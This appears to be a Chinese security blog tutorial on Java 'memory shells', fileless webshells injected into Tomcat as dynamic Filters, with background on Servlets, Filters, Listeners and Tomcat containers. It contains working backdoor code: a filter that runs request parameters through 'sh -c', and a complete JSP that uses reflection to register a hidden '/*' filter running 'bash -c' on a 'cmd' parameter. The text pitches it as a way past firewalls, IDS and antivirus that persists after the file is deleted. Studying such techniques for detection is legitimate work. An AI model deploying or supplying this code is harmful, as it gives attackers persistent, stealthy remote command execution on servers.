深入浅出内存马(一)

简介: 深入浅出内存马(一)

0x01 简述


0x0101 Webshell技术历程


在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。


0x0102 为什么会使用内存马?


传统Webshell连接方式,都是先通过某种漏洞将恶意的脚本木马文件上传,然后通过中国菜刀,或者蚁剑,冰蝎等Webshell管理软件进行链接。

de7a7ed5598c475dafeb76770afcb471_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这种方式目前仍然流行,但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell---》内存马


0x03 什么是内存马


内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码


0x03 内存马的类型


目前分为两种:

  1. Servlet-API型通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马
  • filter型
  • servlet型
  1. 字节码增强型
    通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
  2. spring类
  • 拦截器
  • Controller型


0x02 内存马的原理


我们以Java Web举例,在Java Web中有三大组件分别是Servlet, Filter,Listener

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

Servlet程序是由WEB服务器调用,web服务器收到客户端的Servlet访问请求后:

  1. Web服务器首先检查是否已经装载并创建了该Servlet的实例对象。如果是,则直接执行第4步,否则,执行第2步。
  2. 装载并创建该Servlet的一个实例对象。
  3. 调用Servlet实例对象的init()方法。
  4. 创建一个用于封装HTTP请求消息的HttpServletRequest对象和一个代表HTTP响应消息的HttpServletResponse对象,然后调用Servlet的service()方法并将请求和响应对象作为参数传递进去。
  5. WEB应用程序被停止或重新启动之前,Servlet引擎将卸载Servlet,并在卸载之前调用Servlet的destroy()方法。

Filter

Filter译为过滤器。过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

5e4ae0fc678eec02fe7700bf5a2e1e85_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。

生命周期

public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//拦截请求
这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
public void destroy();//销毁
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

Listener

监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

主要由三部分构成:

  • 事件源:被监听的对象
  • 监听器:监听的对象,事件源的变化会触发监听器的响应行为
  • 响应行为:监听器监听到事件源的状态变化时所执行的动作

在初始化时,需要将事件源和监听器进行绑定,也就是注册监听器。

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Tomcat

在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

acee5dcfc424b111eb9e08a55ed97452_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


0x03 Tomcat Filter注入流程


通过上面的介绍,我们已经大致了解内存马的背景知识,现在我们来讲解Tomcat Filter类型的内存马,看看这种流程是什么样子的?


0x0301Tomcat Filter简单案例


新建filter

package com.evalshell.Filter;
import javax.servlet.*;
import java.io.IOException;
public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 创建");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤过程");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
        System.out.println("销毁!");
    }
}

Web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
    <filter>
        <filter-name>MyFilter</filter-name>
        <filter-class>com.evalshell.Filter.MyFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>MyFilter</filter-name>
        <url-pattern>/hello</url-pattern>
    </filter-mapping>
</web-app>

就是我们创建一个servlet和一个filter 访问路由都是为/hello 。看下结果:

控制台输出

275d64ce3acd4369e79b36e6ba246fbd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我们简单调试一下

42f31936d90f6d42f5f929c711219ed5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

对应Web.xml中的配置信息,这种方式就是为静态的添加filter的方式,filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的。

关于整个Filter的调用链 可以参考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 这个不是我们主要讲述的重点。

Filter调用链,可以引用宽字节安全总结的一张图来说明:

e4d18dec3b27e16cb491a17e7b0d0510_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


0x04 Filter型内存马注入


0x0401 动态创建Filter


我们调试一下filterChain.doFilter() 方法,启动服务,然后访问/hello即可调试:

cef8a3ee7c475a456f83758e07d49d18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

继续跟进,可以看到doFilter() 的具体处理过程是在internalDoFilter()

c450dc1a9ba1714cfc00a33d6d97c7b5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png8fc4ab0e3299597be870c181a53a2e53_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后最后调用service()方法去调用这个filter里面的内容

d1626230935d2f41e3d41ccaee879b14_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png7656ea1d8f87273389dc59c254c00976_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。


0x0402 一个简单Filter内存马案例


上面的描述总结下来就是如何在tomcat中动态的注入一条配置项和代码,拿filter类型举例子,那么我们如何创建一个Filter类型的内存马呢?

  1. 首先创建一个恶意Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

好的 那我们首先来编写一个filter的恶意类

package com.evalshell.Filter;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 创建");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤过程");
        //测试只考虑linux环境下
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        if (request.getParameter("c") != null){
            String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
            InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
        System.out.println("销毁!");
    }
}

运行效果:

91c3f42abd335f5b53504d48b260cdc4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到这个就是在tomcat中没有任何shell文件,但是在过滤器中执行了我们的代码。


0x0402 最终实战


那么真实情况下,我们不可能直接修改项目中Filter的源码,因为就算修改了,想要生效也需要重启。所以我们需要动态的插入filter,那我们该如何操作呢?

最终代码如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //这里写上我们后门的主要代码
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                //别忘记带这个,不然的话其他的过滤器可能无法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }
            @Override
            public void destroy() {
            }
        };
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        // 将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);
        FilterMap filterMap = new FilterMap();
      //拦截的路由规则,/* 表示拦截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

访问这个页面

4b48d1e630451204afb0101f9421a901_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


最后直接访问任意Servlet路由都可以执行命令

b252417a83c3e81467d0d44f851f033e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

即使删除我们的注入文件filterdemo1.jsp也是一样可以执行,这样就可以达到无文件的Webshell管理方式了。


0x05 参考链接


http://wjlshare.com/archives/1529#0x01_Tomcat

https://www.freebuf.com/articles/web/274466.html


相关文章
|
4月前
|
存储 算法 Java
深入浅出Java内存管理
【8月更文挑战第28天】Java的内存管理是每个Java开发者都绕不过去的技术话题。本文将通过生动的比喻和直观的例子,带你走进Java内存管理的奇妙世界。我们将一起探索对象在Java虚拟机中的生命周期,了解栈与堆的区别,以及垃圾回收机制如何默默守护着我们的应用程序。准备好,我们即将启程!
59 14
|
7月前
|
Arthas 存储 监控
JVM工作原理与实战(二十):直接内存
JVM作为Java程序的运行环境,其负责解释和执行字节码,管理内存,确保安全,支持多线程和提供性能监控工具,以及确保程序的跨平台运行。本文主要介绍了直接内存、在直接内存上创建数据等内容。
321 0
|
7月前
|
监控 安全 Java
JVM工作原理与实战(二十一):内存管理
JVM作为Java程序的运行环境,其负责解释和执行字节码,管理内存,确保安全,支持多线程和提供性能监控工具,以及确保程序的跨平台运行。本文主要介绍了不同语言的内存管理(C/C++、Java)、垃圾回收的对比(自动垃圾回收与手动垃圾回收)等内容。
77 0
|
存储 人工智能 编译器
【C进阶】深度剖析数据在内存中的存储
【C进阶】深度剖析数据在内存中的存储
58 0
|
存储 编译器 C++
深度剖析数据在内存中的存储(下)(适合初学者)
深度剖析数据在内存中的存储(下)(适合初学者)
96 0
深度剖析数据在内存中的存储(下)(适合初学者)
|
存储 监控 NoSQL
内存基础知识
内存基础知识
150 0
内存基础知识
|
机器学习/深度学习 存储 算法
关于“堆”,看看这篇文章就够了(附堆的两种应用场景)
堆(heap)是计算机科学中一类特殊的数据结构的统称,堆通常是一个可以被看做一棵树的数组对象,因此堆常常是通过数组的形式来实现的,不过堆在实现时必须遵守两个原则
214 0
关于“堆”,看看这篇文章就够了(附堆的两种应用场景)
|
存储 关系型数据库 MySQL
Elasticesearch内存详解(一)——基本概念
用几篇文章简单说一下ES内存;本篇是第一章,ES的基本概念。
617 0
Elasticesearch内存详解(一)——基本概念
|
存储 编译器 C语言
(深度剖析数据在内存中的存储) C语言从入门到入土(进阶篇)(三)
1. 数据类型介绍 1.1 类型的基本归类 2. 整形在内存中的存储 2.1 原码、反码、补码 这里同时补充一下源码求补码的两种方法: 2.2 大小端介绍 2.3 练习 (每题都能让你意想不到) 3. 浮点型在内存中的存储 3.1 一个例子 3.2 浮点数存储规则 3.3对浮点数存储的补充
(深度剖析数据在内存中的存储) C语言从入门到入土(进阶篇)(三)
|
存储 小程序 编译器
(深度剖析数据在内存中的存储) C语言从入门到入土(进阶篇)(一)
1. 数据类型介绍 1.1 类型的基本归类 2. 整形在内存中的存储 2.1 原码、反码、补码 这里同时补充一下源码求补码的两种方法: 2.2 大小端介绍 2.3 练习 (每题都能让你意想不到) 3. 浮点型在内存中的存储 3.1 一个例子 3.2 浮点数存储规则 3.3对浮点数存储的补充
(深度剖析数据在内存中的存储) C语言从入门到入土(进阶篇)(一)